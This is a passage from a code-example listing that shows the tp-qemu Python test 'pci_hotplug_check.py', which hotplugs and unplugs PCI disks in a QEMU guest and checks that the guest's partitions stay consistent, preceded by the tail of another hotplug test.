        error.context("Reboot vm to verify it alive after hotunplug nic(s)",
                      logging.info)
        serial = len(vm.virtnet) > 0 and False or True
        session = vm.reboot(serial=serial)
        vm.verify_alive()
        session.close()

Example 50

Project: tp-qemu
Source File: pci_hotplug_check.py
View license
@error.context_aware
def run(test, params, env):
    """
    Test hotplug of PCI devices and check the status in guest.
    1 Boot up a guest
    2 Hotplug virtio disk to the guest. Record the id and partition name of
      the disk in a list.
    3 Random choice a disk in the list. Unplug the disk and check the
      partition status.
    4 Hotpulg the disk back to guest with the same monitor cmdline and same
      id which is record in step 2.
    5 Check the partition status in guest. And confirm the disk with dd cmd
    6 Repeat step 3 to 5 for N times

    :param test:   KVM test object.
    :param params: Dictionary with the test parameters.
    :param env:    Dictionary with test environment.
    """

    def prepare_image_params(params):
        pci_num = int(params['pci_num'])
        for i in xrange(pci_num):
            image_name = '%s_%s' % ('stg', i)
            params['images'] = ' '.join([params['images'], image_name])
            image_image_name = '%s_%s' % ('image_name', image_name)
            params[image_image_name] = '%s_%s' % ('storage', i)
            image_image_format = '%s_%s' % ('image_format', image_name)
            params[image_image_format] = params.get('image_format_extra', 'qcow2')
            image_image_size = '%s_%s' % ('image_size', image_name)
            params[image_image_size] = params.get('image_size_extra', '128K')
        return params

    def find_new_device(check_cmd, device_string, chk_timeout=5.0):
        end_time = time.time() + chk_timeout
        idx = ("wmic" in check_cmd and [0] or [-1])[0]
        while time.time() < end_time:
            new_line = session.cmd_output(check_cmd)
            for line in re.split("\n+", new_line.strip()):
                dev_name = re.split("\s+", line.strip())[idx]
                if dev_name not in device_string:
                    return dev_name
            time.sleep(0.1)
        return None

    def find_del_device(check_cmd, device_string, chk_timeout=5.0):
        end_time = time.time() + chk_timeout
        idx = ("wmic" in check_cmd and [0] or [-1])[0]
        while time.time() < end_time:
            new_line = session.cmd_output(check_cmd)
            for line in re.split("\n+", device_string.strip()):
                dev_name = re.split("\s+", line.strip())[idx]
                if dev_name not in new_line:
                    return dev_name
            time.sleep(0.1)
        return None

    # Select an image file
    def find_image(pci_num):
        image_params = params.object_params("%s" % img_list[pci_num + 1])
        o = storage.get_image_filename(image_params, data_dir.get_data_dir())
        return o

    def pci_add_block(pci_num, queues, pci_id):
        image_filename = find_image(pci_num)
        pci_add_cmd = ("pci_add pci_addr=auto storage file=%s,if=%s" %
                       (image_filename, pci_model))
        return pci_add(pci_add_cmd)

    def pci_add(pci_add_cmd):
        guest_devices = session.cmd_output(chk_cmd)
        error.context("Adding pci device with command 'pci_add'")
        add_output = vm.monitor.send_args_cmd(pci_add_cmd, convert=False)
        guest_device = find_new_device(chk_cmd, guest_devices)
        pci_info.append(['', '', add_output, pci_model, guest_device])
        if "OK domain" not in add_output:
            raise error.TestFail("Add PCI device failed. "
                                 "Monitor command is: %s, Output: %r" %
                                 (pci_add_cmd, add_output))
        return vm.monitor.info("pci")

    def is_supported_device(dev):
        # Probe qemu to verify what is the supported syntax for PCI hotplug
        cmd_output = vm.monitor.human_monitor_cmd("?")
        if len(re.findall("\ndevice_add", cmd_output)) > 0:
            cmd_type = "device_add"
        elif len(re.findall("\npci_add", cmd_output)) > 0:
            cmd_type = "pci_add"
        else:
            raise error.TestError("Unknown version of qemu")

        # Probe qemu for a list of supported devices
        probe_output = vm.monitor.human_monitor_cmd("%s ?" % cmd_type)
        devices_supported = [j.strip('"') for j in
                             re.findall('\"[a-z|0-9|\-|\_|\,|\.]*\"',
                                        probe_output, re.MULTILINE)]
        logging.debug("QEMU reported the following supported devices for "
                      "PCI hotplug: %s", devices_supported)
        return (dev in devices_supported)

    def verify_supported_device(dev):
        if not is_supported_device(dev):
            raise error.TestError("%s doesn't support device: %s" %
                                  (cmd_type, dev))

    def device_add_block(pci_num, queues=1, pci_id=None):
        if pci_id is not None:
            device_id = pci_type + "-" + pci_id
        else:
            device_id = pci_type + "-" + utils_misc.generate_random_id()
            pci_info.append([device_id, device_id])

        image_format = params.get("image_format_%s" % img_list[pci_num + 1])
        if not image_format:
            image_format = params.get("image_format", "qcow2")
        image_filename = find_image(pci_num)

        pci_model = params.get("pci_model")
        controller_model = None
        if pci_model == "virtio":
            pci_model = "virtio-blk-pci"

        if pci_model == "scsi":
            pci_model = "scsi-disk"
            if arch.ARCH in ('ppc64', 'ppc64le'):
                controller_model = "spapr-vscsi"
            else:
                controller_model = "lsi53c895a"
            verify_supported_device(controller_model)
            controller_id = "controller-" + device_id
            controller_add_cmd = ("device_add %s,id=%s" %
                                  (controller_model, controller_id))
            error.context("Adding SCSI controller.")
            vm.monitor.send_args_cmd(controller_add_cmd)

        verify_supported_device(pci_model)
        if drive_cmd_type == "drive_add":
            driver_add_cmd = ("%s auto file=%s,if=none,format=%s,id=%s" %
                              (drive_cmd_type, image_filename, image_format,
                               pci_info[pci_num][0]))
        elif drive_cmd_type == "__com.redhat_drive_add":
            driver_add_cmd = ("%s file=%s,format=%s,id=%s" %
                              (drive_cmd_type, image_filename, image_format,
                               pci_info[pci_num][0]))
        # add driver.
        error.context("Adding driver.")
        vm.monitor.send_args_cmd(driver_add_cmd, convert=False)

        pci_add_cmd = ("device_add id=%s,driver=%s,drive=%s" %
                       (pci_info[pci_num][1],
                        pci_model,
                        pci_info[pci_num][0])
                       )
        return device_add(pci_num, pci_add_cmd, pci_id=pci_id)

    def device_add(pci_num, pci_add_cmd, pci_id=None):
        error.context("Adding pci device with command 'device_add'")
        guest_devices = session.cmd_output(chk_cmd)
        if vm.monitor.protocol == 'qmp':
            add_output = vm.monitor.send_args_cmd(pci_add_cmd)
        else:
            add_output = vm.monitor.send_args_cmd(pci_add_cmd, convert=False)
        guest_device = find_new_device(chk_cmd, guest_devices)
        if pci_id is None:
            pci_info[pci_num].append(add_output)
            pci_info[pci_num].append(pci_model)
            pci_info[pci_num].append(guest_device)

        after_add = vm.monitor.info("pci")
        if pci_info[pci_num][1] not in str(after_add):
            logging.error("Could not find matched id in monitor:"
                          " %s" % pci_info[pci_num][1])
            raise error.TestFail("Add device failed. Monitor command is: %s"
                                 ". Output: %r" % (pci_add_cmd, add_output))
        return after_add

    # Hot add a pci device
    def add_device(pci_num, queues=1, pci_id=None):
        info_pci_ref = vm.monitor.info("pci")
        reference = session.cmd_output(reference_cmd)

        try:
            # get function for adding device.
            add_fuction = local_functions["%s_%s" % (cmd_type, pci_type)]
        except Exception:
            raise error.TestError("No function for adding " +
                                  "'%s' dev " % pci_type +
                                  "with '%s'" % cmd_type)
        after_add = None
        if add_fuction:
            # Do add pci device.
            after_add = add_fuction(pci_num, queues, pci_id)

        try:
            # Define a helper function to compare the output
            def _new_shown():
                o = session.cmd_output(reference_cmd)
                return o != reference

            # Define a helper function to catch PCI device string
            def _find_pci():
                output = session.cmd_output(params.get("find_pci_cmd"))
                output = map(string.strip, output.splitlines())
                ref = map(string.strip, reference.splitlines())
                output = [_ for _ in output if _ not in ref]
                output = "\n".join(output)
                if re.search(params.get("match_string"), output, re.I):
                    return True
                return False

            error.context("Start checking new added device")
            # Compare the output of 'info pci'
            if after_add == info_pci_ref:
                raise error.TestFail("No new PCI device shown after "
                                     "executing monitor command: 'info pci'")

            secs = int(params.get("wait_secs_for_hook_up", 3))
            if not utils_misc.wait_for(_new_shown, test_timeout, secs, 3):
                raise error.TestFail("No new device shown in output of" +
                                     "command executed inside the " +
                                     "guest: %s" % reference_cmd)

            if not utils_misc.wait_for(_find_pci, test_timeout, 3, 3):
                raise error.TestFail("PCI %s %s " % (pci_model, pci_type) +
                                     "device not found in guest. Command " +
                                     "was: %s" % params.get("find_pci_cmd"))

            # Test the newly added device
            try:
                session.cmd(params.get("pci_test_cmd") % (pci_num + 1))
            except aexpect.ShellError, e:
                raise error.TestFail("Check for %s device failed" % pci_type +
                                     "after PCI hotplug." +
                                     "Output: %r" % e.output)

        except Exception:
            pci_del(pci_num, ignore_failure=True)
            raise

    # Hot delete a pci device
    def pci_del(pci_num, ignore_failure=False):
        def _device_removed():
            after_del = vm.monitor.info("pci")
            return after_del != before_del

        before_del = vm.monitor.info("pci")
        if cmd_type == "pci_add":
            slot_id = int(pci_info[pci_num][2].split(",")[2].split()[1])
            cmd = "pci_del pci_addr=%s" % hex(slot_id)
            vm.monitor.send_args_cmd(cmd, convert=False)
        elif cmd_type == "device_add":
            cmd = "device_del id=%s" % pci_info[pci_num][1]
            vm.monitor.send_args_cmd(cmd)

        if (not utils_misc.wait_for(_device_removed, test_timeout, 0, 1) and
                not ignore_failure):
            raise error.TestFail("Failed to hot remove PCI device: %s. "
                                 "Monitor command: %s" %
                                 (pci_info[pci_num][3], cmd))

    params = prepare_image_params(params)
    env_process.process_images(env_process.preprocess_image, test, params)
    vm = env.get_vm(params["main_vm"])
    vm.verify_alive()
    timeout = int(params.get("login_timeout", 360))
    session = vm.wait_for_login(timeout=timeout)

    test_timeout = int(params.get("hotplug_timeout", 360))
    reference_cmd = params["reference_cmd"]
    # Test if it is nic or block
    pci_type = params["pci_type"]
    pci_model = params["pci_model"]

    # Modprobe the module if specified in config file
    module = params.get("modprobe_module")
    if module:
        session.cmd("modprobe %s" % module)

    # check monitor type
    qemu_binary = utils_misc.get_qemu_binary(params)
    # Probe qemu to verify what is the supported syntax for PCI hotplug
    if vm.monitor.protocol == 'qmp':
        cmd_output = vm.monitor.info("commands")
    else:
        cmd_output = vm.monitor.human_monitor_cmd("help", debug=False)

    cmd_type = utils_misc.find_substring(str(cmd_output), "device_add",
                                         "pci_add")
    if not cmd_type:
        raise error.TestError("Could find a suitable method for hotplugging"
                              " device in this version of qemu")

    # Determine syntax of drive hotplug
    # __com.redhat_drive_add == qemu-kvm-0.12 on RHEL 6
    # drive_add == qemu-kvm-0.13 onwards
    drive_cmd_type = utils_misc.find_substring(str(cmd_output),
                                               "__com.redhat_drive_add",
                                               "drive_add")
    if not drive_cmd_type:
        raise error.TestError("Unknown version of qemu")

    local_functions = locals()

    pci_num_range = int(params.get("pci_num"))
    rp_times = int(params.get("repeat_times"))
    img_list = params.get("images").split()
    chk_cmd = params.get("guest_check_cmd")
    mark_cmd = params.get("mark_cmd")
    offset = params.get("offset")
    confirm_cmd = params.get("confirm_cmd")

    pci_info = []
    # Add block device into guest
    for pci_num in xrange(pci_num_range):
        error.context("Prepare the %d removable pci device" % pci_num,
                      logging.info)
        add_device(pci_num)
        if pci_info[pci_num][4] is not None:
            partition = pci_info[pci_num][4]
            cmd = mark_cmd % (partition, partition, offset)
            session.cmd(cmd)
        else:
            raise error.TestError("Device not init in guest")

    for j in range(rp_times):
        # pci_info is a list of list.
        # each element 'i' has 4 members:
        # pci_info[i][0] == device drive id, only used for device_add
        # pci_info[i][1] == device id, only used for device_add
        # pci_info[i][2] == output of device add command
        # pci_info[i][3] == device module name.
        # pci_info[i][4] == partition id in guest
        pci_num = random.randint(0, len(pci_info) - 1)
        error.context("start unplug pci device, repeat %d" % j, logging.info)
        guest_devices = session.cmd_output(chk_cmd)
        pci_del(pci_num)
        device_del = find_del_device(chk_cmd, guest_devices)
        if device_del != pci_info[pci_num][4]:
            raise error.TestFail("Device is not deleted in guest.")
        error.context("Start plug pci device, repeat %d" % j, logging.info)
        guest_devices = session.cmd_output(chk_cmd)
        add_device(pci_num, pci_id=pci_info[pci_num][0])
        device_del = find_new_device(chk_cmd, guest_devices)
        if device_del != pci_info[pci_num][4]:
            raise error.TestFail("Device partition changed from %s to %s" %
                                 (pci_info[pci_num][4], device_del))
        cmd = confirm_cmd % (pci_info[pci_num][4], offset)
        confirm_info = session.cmd_output(cmd)
        if device_del not in confirm_info:
            raise error.TestFail("Can not find partition tag in Guest: %s" %
                                 confirm_info)